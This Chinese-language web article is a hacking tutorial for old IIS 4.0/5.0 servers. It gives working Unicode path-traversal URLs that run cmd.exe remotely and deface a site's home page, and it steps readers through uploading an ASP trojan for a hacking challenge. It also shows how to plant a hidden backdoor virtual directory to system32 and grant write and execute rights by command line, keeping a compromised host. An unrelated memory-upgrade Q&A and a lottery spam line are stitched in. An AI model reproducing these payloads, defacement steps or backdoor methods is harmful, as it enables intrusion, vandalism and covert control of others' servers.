熱點推薦:
您現在的位置: 電腦學習網 >> 網絡技術 >> 正文

IIS漏洞入侵

2013-09-12 16:07:29  來源: 網絡技術 
  IIS(Internet Information Server)服務為Web服務器提供了強大的Internet和Intranet服務功能。主要通過端口80來完成操作,因為作為Web服務器,80端口總要打開,具有很大的威脅性。長期以來攻擊IIS服務是黑客慣用的手段,筆者記得有段時間兩大黑客組織對攻就頻繁地用到了IIS漏洞入侵。這種情況現在還依然存在,多是由于企業管理者或網管對安全問題關注不夠造成的。
Unicode漏洞
  針對IIS的攻擊方式可以說是五花八門,使用大量的數據請求,使IIS超負荷而停止工作,是初級黑客的必修課程。不過鑒于篇幅限制,針對IIS的攻擊本文不做詳細介紹,而是說說入侵IIS。IIS有十多種常見漏洞,但利用得最多的莫過于Unicode解析錯誤漏洞。微軟IIS 4.0/5.0在Unicode字符解碼的實現中存在一個安全漏洞,用戶可以遠程通過IIS執行任意命令。當IIS打開文件時,如果該文件名包含Unicode字符,它會對它進行解碼。如果用戶提供一些特殊的編碼,將導致IIS錯誤地打開或者執行某些Web根目錄以外的文件或程序。我們此文就著重來講講如何利用這個漏洞入侵IIS。
  對于IIS 4.0/5.0中文版,當IIS在收到的URL請求的文件名中,包含一個特殊的編碼例如“%c1%hh”或者“%c0%hh”,它會首先將其解碼變成“0xc10xhh”, 然后嘗試打開這個文件。www.hbhskj.twWindows系統認為“0xc10xhh”可能是Unicode編碼,因此它會首先將其解碼,如果 “0x00<= %hh < 0x40”的話,采用的解碼的格式與下面的類似:
  %c1%hh->(0xc1-0xc0)*0x40+0xhh
  %c0%hh->(0xc0-0xc0)*0x40+0xhh
  因此,利用這種編碼,我們可以構造很多字符,例如:
  %c1%1c->(0xc1-0xc0)*0x40+0x1c=0x5c='/'
  %c0%2f->(0xc0-0xc0)*0x40+0x2f=0x2f='\'
  攻擊者可以利用這個漏洞來繞過IIS的路徑檢查,去執行或者打開任意的文件。此漏洞從中文版IIS4.0+SP6開始,還影響中文版WIN2000+IIS5.0、中文版WIN2000+IIS5.0+SP1。
  在NT4中“/”編碼為“%c1%9c”;在英文版的WIN2000中為“%c0%af”;在中文版的WIN2000里是“%c1%1c”。此外還有多種編碼,不逐一闡述,大家可以查查資料。本文均以WIN2000為例,其他類型請自行替換。
判斷是否存在漏洞
  用該漏洞的掃描器來進行掃描是一種常見的方法。但我們知道,掃描并不是一個真正的黑客攻擊行為,它只是一種尋找入口的方式。IIS的Unicode漏洞掃描器有很多,如RangeScan或者是unicodeScan都可以進行掃描以收集服務器信息。還有些綜合性的掃描軟件除了能發現Unicode漏洞之外,同時還能收集服務器的其它漏洞——X-Scan(下載地址:http://bitscn.com/upload/X-Scan-v3.1-cn.rar)。
  當然也可以在IE瀏覽器中輸入以下語句來進行判斷:
  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
  學過DOS的應該可以看懂,其實就是利用當中的非法請求使我們連到system32下,如果Inetpub目錄不和Winnt在同一盤符,或者目錄級數有改動,就可能會引起請求失敗。
  如果存在漏洞,那么在瀏覽區可看到如下類似信息:
  Directory of C:\inetpub\scripts
  2005-03-05 15:49 〈DIR〉 .
  2005-09-05 15:49 〈DIR〉 ..
  是不是有自己機器的感覺了,正點!要的就是這種感覺!
  cmd.exe相當于DOS里的command.com,因此,我們可以執行很多命令了!
  注意:在上面輸入的判斷語句中,“/c”后面的“+”,實際上是空格,請記牢!dir是DOS中的查看文件和目錄命令,不懂DOS的朋友快去學習。
  看了上面的介紹,不用說大家也知道我們可以利用此漏洞對服務器展開攻擊了!
修改網站首頁
1.確定網站首頁名稱
  一般網站默認首頁文件為index.htm、index.html、index.asp、default.htm、defautl.html或default.asp中的一個,我們可以通過輸入不同的首頁名稱來測試并確定要修改的網站首頁。在IE地址欄中輸入以下三個網址:
  http://aa.feedom.net/index.html
  http://aa.feedom.net/default.asp
  http://aa.feedom.net/index.htm
  通過對上面三個網址的測試,我們發現只有第三個網址可以正常打開,說明這個網站的首頁名稱為index.htm。好了,那么我們就修改它吧!
2.修改原理
  最方便的方法是echo法:echo是一個系統命令,主要用于設置回應開關。
  echo test >c:\autoexec.bat就是把test加入autoexec.bat里并刪除原有內容;
  echo timedate >>c:\autoexec.bat就是加入timedate但不刪除原有內容。
  明白了嗎?接下來我們就可以逍遙地修改了。
3.更改網站首頁
  在IE中輸入以下地址:
  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+ HaHaThisismyhack +>c:\inetpub\wwwroot\index.htm
  IE瀏覽器返回來的結果可能為以下兩種情況之一:
  1)HTTP 500 - 內部服務器錯誤
  2)The parameter is incorrect
  通過返回信息提示和對CMD的分析,可能是命令語句中參數錯誤,加入"符號再試試:
  1) http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ HaHaThisismyhack +>c:\inetpub\wwwroot\index.htm
  表示把HaHaThisismyhack加入到index.htm文件并刪除原有內容。
  2)http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ by2005-3-9+>>c:\inetpub\wwwroot\index.htm
  表示把by2005-3-9加入到index.htm文件中,但不刪除原有內容。
  如果正常,上面兩條語句的回應應該都為CGI錯誤,這表示語句執行成功了,系統只是程序性地報個錯誤,不用理會它。
  現在再來打開網站aa.feedom.net看看吧,怎么樣了,是不是被你改掉了?在實際操作中,由于目錄權限等網管因素的存在,可能這個方法也會失效,這時,我們就可以用copy cmd.exe 為另一個.exe文件的方式解決,不過要記住路徑,別出錯了,例如:
  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\a.exe
  c:\inetpub\wwwroot\index.htm">http://aa.feedom.net/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm
  本文講到的技術比較簡單,很適合初學者研究和學習。也許你通過本文的實例方式,已經能修改我們提供的服務器首頁了,但是在實際操作中,服務器環境必然有變化,而且障礙也許是你未曾研究或接觸過的。所以只有牢牢地掌握了基礎知識才有進階的資本。大家可以根據文中提到的知識點查閱資料輔助學習。
第一關難點攻略
1.上傳文件始終報錯
  有的朋友通過上一期文章介紹的步驟,利用我們提供的木馬程序,在訪問http://cp.feedom.net/uploadtest/muma.asp頁面,并上傳首頁文件時被堵住了。其實我們在第一關的文章里提到過這些細節問題,可能有些讀者忽略了。
  ①進入木馬配置頁面后,點擊“Stream”按鈕;
  ②根據文章要求,我們必須在“PATH:”欄里,將訪問地址改為“D:\www\cp.feedom.net\ct”;
  ③點擊“瀏覽”按鈕,選擇一個本地硬盤中的index***.htm文件(***為自定義名稱);
  提示:根據文章中的說明,該木馬程序并不支持文件名重名,由于參與的讀者眾多,index.htm文件早已有人上傳,所以不改文件名將會提示上傳錯誤的。
  ④現在最關鍵的地方來了,在“保存為:”欄里,必須填寫完整的文件路徑。例如“D:\www\cp.feedom.net\ct\index***.htm”,如果文件名不寫是會報錯的,這是絕大多數參與者易犯的錯誤;
  ⑤現在你只要點“上傳”按鈕即可。
2.不能替換首頁
  有的朋友反映,index***.htm已經成功地上傳了,但是第一關的任務是要將http://ct.feedom.net改為首頁,雖然現在可以通過“http://ct.feedom.net/上傳的文件名”來訪問已上傳的網頁,但并沒有將它改為http://ct.feedom.net的首頁——index.htm呀,顯然只上傳文件是不夠的,還差一步。
  細心的讀者肯定注意到了,“Stream”頁面中,在每一個已上傳的文件后面,都有“Down、Edit、SaveAs”幾個按鈕,你只有點擊“SaveAs”,然后將你上傳的htm文件更名為Index.htm就可以了。雖然我們提到的木馬程序不能覆蓋文件,但可以通過這個方式達到替換首頁的目的。  
如何為精英P6ISA-II主板升級內存 問:我在2001年買了一塊精英P6ISA-Ⅱ主板,當時配了兩條128MB的KingMax PC150 SDRAM(都是雙面的),最近由于裝了Windows 2000 Advance Server,運行起來感覺較慢,于是想添加內存,該主板最多支持512MB內存,不知道我的主板還能不能再插一條256MB的內存?

答:i815E主板最多支持三個DIMM插槽,支持兩條雙面內存或三條單面內存。所以只有將兩條雙面128MB內存更換成一條256MB SDRAM,才能另外添加一條256MB的SDRAM內存,否則主板是不能識別新添加的256MB內存的。

 
霸占“肉雞”之隱蔽的IIS后門

  好不容易攻下一臺Windows2000/2003 IIS服務器,你一定會想,怎樣才能長期占有這個“肉雞”呢?聰明的你肯定會想到留后門這個法子。
  對Windows系列下的Web服務器來說,筆者覺得最好的后門莫過于通過80端口安置后門,因為既然要對外提供Web服務,管理員總不會把80端口給屏蔽了吧。下面讓我們來看看怎么設置IIS后門。
一 GUI方式設置
  如果你能通過GUI(圖形界面)方式管理肉雞的話(通過 3389端口的Windows 終端服務、4899端口的Radmin服務、Pcanywhere、VNC、DameWare等GUI方式的遠程管理軟件),那就最簡單不過了。可以通過如下方式建立一個隱蔽的后門:
  1.先在Web根目錄下建立一個子目錄shell,然后打開“Internet信息服務”管理器,在shell目錄下新建一個指向C:\WinNT\system32的虛擬目錄door,然后刪除Web根目錄下的shell目錄,這樣在IIS管理器中就看不到shell目錄了,也看不到door這個虛擬目錄了(這是IIS顯示目錄的一個Bug,實際上這個虛擬目錄仍然存在)。
  通過瀏覽器訪問不到shell這個路徑,但是依然可以訪問到shell/door這個路徑。不過這并沒有完,我們需要在IIS管理器中對虛擬目錄door的權限做進一步設置。
  2.在door屬性中,我們設置本地路徑為“C:\WinNT\System32”(見圖),在“腳本資源訪問”、“讀取”、“寫入”、“目錄瀏覽”復選框前打鉤,把“日志訪問”和“索引此資源”復選框前的鉤去掉,在“執行許可”中選擇“腳本和可執行程序”,“應用程序保護”選擇“低 (IIS進程)”。


 
  好了,現在我們就有了一個功能強大而且不會留下任何痕跡的Web Shell了(還記得Unicode漏洞嗎?在地址欄中輸入http:// 219.***.18.63 /shell/door/cmd.exe?/c+dir c:\ 看看)。
二 命令行方式設置
  有人可能會問了,如果只有命令行下的shell,能不能設置IIS后門呢?答案是肯定的。這里需要用一些系統自帶的工具。IIS服務器安裝時會自動在C:\Inetpub\AdminScript下安裝一些用來配置IIS的腳本,如adsutil.vbs、chaccess.vbs、mkwebdir.vbs、disptree.vbs等,我們可以通過這些腳本來修改Web目錄的權限。
  在命令行shell下,輸入“cscript.exe adsutil.vbs enum w3svc/1/root”,看看Web服務器的配置。從中選一個虛擬目錄test,給它賦予可寫權限:“chaccess -a w3svc/1/ROOT/test +write”,按照如下的命令再給它賦予腳本和可執行程序的執行權限:“chaccess -a w3svc/1/ROOT/test +script +execute”。
三 利用可寫可執行權限目錄
  上面介紹了兩種方法獲得IIS服務器上的一個可寫的目錄,但怎樣怎么利用呢?
  利用IIS后門的方法有很多種,這里只討論如何利用一個有可寫可執行權限的目錄的問題。一般的思路是遠程提交數據,高手都喜歡用瑞士軍刀——Netcat,不過這個是命令行下的工具,新手用起來可能不習慣。下面介紹一個桂林老兵發布的作品(下載地址:http://www.gxgl.com/?actio
  n=soft&module=show&id=12)。
  數據包格式有OPTIONS、GET、HEAD、DELETE、PUT、POST等多種。我們可以用PUT方法從本地選一個文件上傳到服務器上,然后用MOVE方法給它改名為.exe可執行程序或.asp可執行腳本。更詳細的使用方法可以參看程序附帶的Readme文檔,這里就不再贅述了。

 
From:http://www.hbhskj.tw/Article/Network/201309/1046.html
  • 上一篇文章:

  • 下一篇文章:
  • Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.   
    体彩内蒙古十一选五82